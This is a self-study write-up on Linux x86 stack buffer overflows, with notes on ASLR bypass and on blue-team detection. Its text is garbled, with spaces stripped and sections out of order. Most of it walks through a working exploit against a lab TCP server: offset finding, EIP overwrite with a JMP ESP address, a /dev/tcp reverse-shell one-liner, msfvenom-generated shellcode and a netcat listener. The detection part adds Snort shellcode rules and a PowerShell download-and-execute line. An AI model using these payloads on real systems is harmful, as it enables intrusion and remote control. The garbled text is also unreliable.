Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

